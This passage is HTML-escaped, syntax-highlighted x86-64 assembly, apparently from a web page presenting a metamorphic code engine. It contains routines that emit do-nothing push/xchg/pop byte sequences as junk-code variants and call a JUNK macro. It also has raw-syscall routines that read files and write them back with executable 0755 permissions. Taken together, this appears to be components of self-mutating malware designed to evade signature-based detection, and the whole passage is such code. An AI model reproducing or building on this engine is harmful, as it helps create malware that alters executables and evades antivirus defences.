    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0xCA&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x5A&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x59&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

&lt;span class="nl"&gt;.variant_2:&lt;/span&gt;
    &lt;span class="c1"&gt;; push rax,rcx; xchg rax,rcx; xchg rax,rcx; pop rcx,rax&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x50&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x51&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x87&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0xC1&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x87&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0xC1&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x59&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x58&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

&lt;span class="nl"&gt;.variant_3:&lt;/span&gt;
    &lt;span class="c1"&gt;; push rbx,rdx; xchg rbx,rdx; xchg rbx,rdx; pop rdx,rbx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x53&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x52&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x87&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0xD3&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x87&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0xD3&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x5A&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x5B&lt;/span&gt;

&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; file I/O&lt;/span&gt;
&lt;span class="nl"&gt;read_f:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;            &lt;span class="c1"&gt;; save buffer pointer&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_open&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;O_RDONLY&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;js&lt;/span&gt; &lt;span class="nv"&gt;.error&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_fstat&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;144&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;js&lt;/span&gt; &lt;span class="nv"&gt;.close_e&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;     &lt;span class="c1"&gt;; file size from stat&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;144&lt;/span&gt;

    &lt;span class="c1"&gt;; bounds check&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;
    &lt;span class="nf"&gt;jle&lt;/span&gt; &lt;span class="nv"&gt;.size_ok&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;
&lt;span class="nl"&gt;.size_ok:&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.empty&lt;/span&gt;

    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;            &lt;span class="c1"&gt;; bytes read cnt&lt;/span&gt;

&lt;span class="nl"&gt;.read_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_read&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;            &lt;span class="c1"&gt;; offset into buffer&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;            &lt;span class="c1"&gt;; remaining bytes to read&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.read_done&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jle&lt;/span&gt; &lt;span class="nv"&gt;.read_done&lt;/span&gt;          &lt;span class="c1"&gt;; EOF or error&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;jl&lt;/span&gt; &lt;span class="nv"&gt;.read_loop&lt;/span&gt;

&lt;span class="nl"&gt;.read_done:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_close&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;            &lt;span class="c1"&gt;; return bytes read&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

&lt;span class="nl"&gt;.empty:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_close&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;.close_e:&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;144&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_close&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

&lt;span class="nl"&gt;.error:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;write_f:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;            &lt;span class="c1"&gt;; filename&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;            &lt;span class="c1"&gt;; buffer&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;            &lt;span class="c1"&gt;; size&lt;/span&gt;

    &lt;span class="c1"&gt;; validate inputs&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.write_er&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.write_er&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.write_s&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;O_WRONLY&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nv"&gt;O_CREAT&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nv"&gt;O_TRUNC&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0755&lt;/span&gt;&lt;span class="nv"&gt;o&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_open&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;jl&lt;/span&gt; &lt;span class="nv"&gt;.write_er&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;            &lt;span class="c1"&gt;; fd&lt;/span&gt;

    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;            &lt;span class="c1"&gt;; bytes written cnt&lt;/span&gt;

&lt;span class="nl"&gt;.write_lp:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;            &lt;span class="c1"&gt;; offset into buffer&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;            &lt;span class="c1"&gt;; remaining bytes&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.write_c&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_write&lt;/span&gt;
    &lt;span class="nf"&gt;JUNK&lt;/span&gt;

    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jle&lt;/span&gt; &lt;span class="nv"&gt;.r_close&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;jl&lt;/span&gt; &lt;span class="nv"&gt;.write_lp&lt;/span&gt;

&lt;span class="nl"&gt;.write_c:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_close&lt;/span&gt;

&lt;span class="nl"&gt;.write_s:&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;            &lt;span class="c1"&gt;; success&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

